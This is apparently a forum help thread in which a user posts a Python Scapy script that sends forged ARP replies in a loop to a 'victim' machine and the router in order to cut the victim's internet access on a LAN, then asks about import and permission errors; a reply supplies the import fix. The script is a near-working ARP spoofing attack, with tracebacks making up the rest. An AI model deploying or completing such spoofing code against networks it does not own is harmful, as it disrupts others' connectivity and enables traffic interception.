ARP not defined | Scapy

Hello , I’ve been trying to code with scapy and block my internet in my LAN network by python. And it showed me an error:
Traceback (most recent call last):
File “/home/kali/Desktop/arp.py”, line 10, in
victim_packet = ARP(op=2, psrc=router[0], pdst=victim[0], hwdst=victim[1])
NameError: name ‘ARP’ is not defined

Here is the code(I am using kali linux)

`from scapy import *






victim = ["IP", "mac-address"]
router = ["IP", "mac-address"]
victim_packet = ARP(op=2, psrc=router[0], pdst=victim[0], hwdst=victim[1])
router_packet = ARP(op=2, psrc=victim[0], pdst=router[0], hwdst=router[1])
try:
	while 1:
		send(victim_packet)
		send(router_packet)
except KeyboardInterrupt:
	send(ARP(op=2, pdst=router[0], psrc=victim[0], hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victim[1]))
	send(ARP(op=2, pdst=victim[0], psrc=router[0], hwdst="ff:ff:ff:ff:ff:ff", hwsrc=router[1]))

I’ve tried to upgrade scapy in the terminator on kali linux and trying to re-install python3 in kali linux , but it didn’t work. Anyone can help me? Thank you , Roy.

Don’t reinstall Python, it’s not the Python interpreter that is the
problem.

Try this:

import scapy.all as scapy

victim_packet = scapy.ARP( ... )

where you replace the three dots … with the arguments you need.

Thank you , but I got another error with the send() command… Can you help me with that?

Not if you expect me to guess what the error is.

Heres the error :

Traceback (most recent call last):
  File "/home/kali/Desktop/arp.py", line 14, in <module>
    scapy.send(victim_packet)
  File "/home/kali/.local/lib/python3.9/site-packages/scapy/sendrecv.py", line 425, in send
    return _send(
  File "/home/kali/.local/lib/python3.9/site-packages/scapy/sendrecv.py", line 394, in _send
    socket = socket or _func(iface)(iface=iface, **kargs)
  File "/home/kali/.local/lib/python3.9/site-packages/scapy/arch/linux.py", line 486, in __init__
    self.ins = socket.socket(
  File "/usr/lib/python3.9/socket.py", line 232, in __init__
    _socket.socket.__init__(self, family, type, proto, fileno)
PermissionError: [Errno 1] Operation not permitted